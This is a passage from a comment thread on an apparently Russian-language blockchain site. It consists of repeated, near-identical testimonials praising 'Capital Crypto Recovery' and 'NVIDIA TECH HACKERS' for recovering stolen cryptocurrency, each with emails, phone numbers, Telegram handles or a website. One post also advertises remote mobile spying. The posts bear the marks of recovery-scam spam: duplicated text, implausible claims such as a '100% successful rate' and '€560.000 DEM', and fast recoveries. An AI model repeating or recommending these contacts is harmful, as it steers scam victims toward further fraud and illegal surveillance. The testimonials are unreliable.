successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 17.10.25 20:17 tyleradams

    As time passes, there are an increasing number of frauds involving Bitcoin and other cryptocurrencies. Although there are many individuals who advertise recovering money online, people should use caution in dealing, especially when money is involved. You can trust NVIDIA TECH HACKERS [[email protected]], I promise. They are the top internet recovery company, and as their names indicate, your money is reclaimed as soon as feasible. My bitcoin was successfully retrieved in large part thanks to NVIDIA TECH HACKERS. Ensure that you get top-notch service; NVIDIA TECH HACKERS provides evidence of its work; and payment is only made when the service has been completed to your satisfaction. Reach them via email: [email protected] on google mail

  • 17.10.25 20:20 lindseyvonn

    Have you gotten yourself involved in a cryptocurrency scam or any scam at all? If yes, know that you are not alone, there are a lot of people in this same situation. I'm a Health Worker and was a victim of a cryptocurrency scam that cost me a lot of money. This happened a few weeks ago, there’s only one solution which is to talk to the right people, if you don’t do this you will end up being really depressed. I was really devastated until went on LinkedIn one evening after my work hours and i saw lots of reviews popped up on my feed about [email protected], I sent an email to the team who came highly recommended - [email protected] I started seeing some hope for myself from the moment I sent them an email. The good part is they made the entire process stress free for me, i literally sat and waited for them to finish and I received what I lost in my wallet

  • 17.10.25 20:22 richardcharles

    I would recommend NVIDIA TECH HACKERS to anyone that needs this service. I decided to get into crypto investment and I ended up getting my crypto lost to an investor late last year. The guy who was supposed to be managing my account turned out to be a scammer all along. I invested 56,000 USD and at first, my reading and profit margins were looking good. I started getting worried when I couldn’t make withdrawals and realized that I’ve been scammed. I came across some of the testimonials that people said about NVIDIA TECH HACKERS and how helpful he has been in recovering their funds. I immediately contacted him in his mail at [email protected] so I can get his assistance. One week into the recovery process the funds were traced and recovered back from the scammer. I can't appreciate him enough for his professionalism.

  • 17.10.25 20:23 stevekalfman

    If you need a hacker for scam crypto recovery or mobile spy access remotely kindly reach out to [email protected] for quick response, I hired this hacker and he did a nice job. before NVIDIA TECH HACKERS, I met with different hacker's online which turns out to be scam, this NVIDIA TECH HACKERS case was different and he is the trusted hacker I can vote and refer.

  • 17.10.25 21:42 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 17.10.25 21:42 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 17.10.25 21:42 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon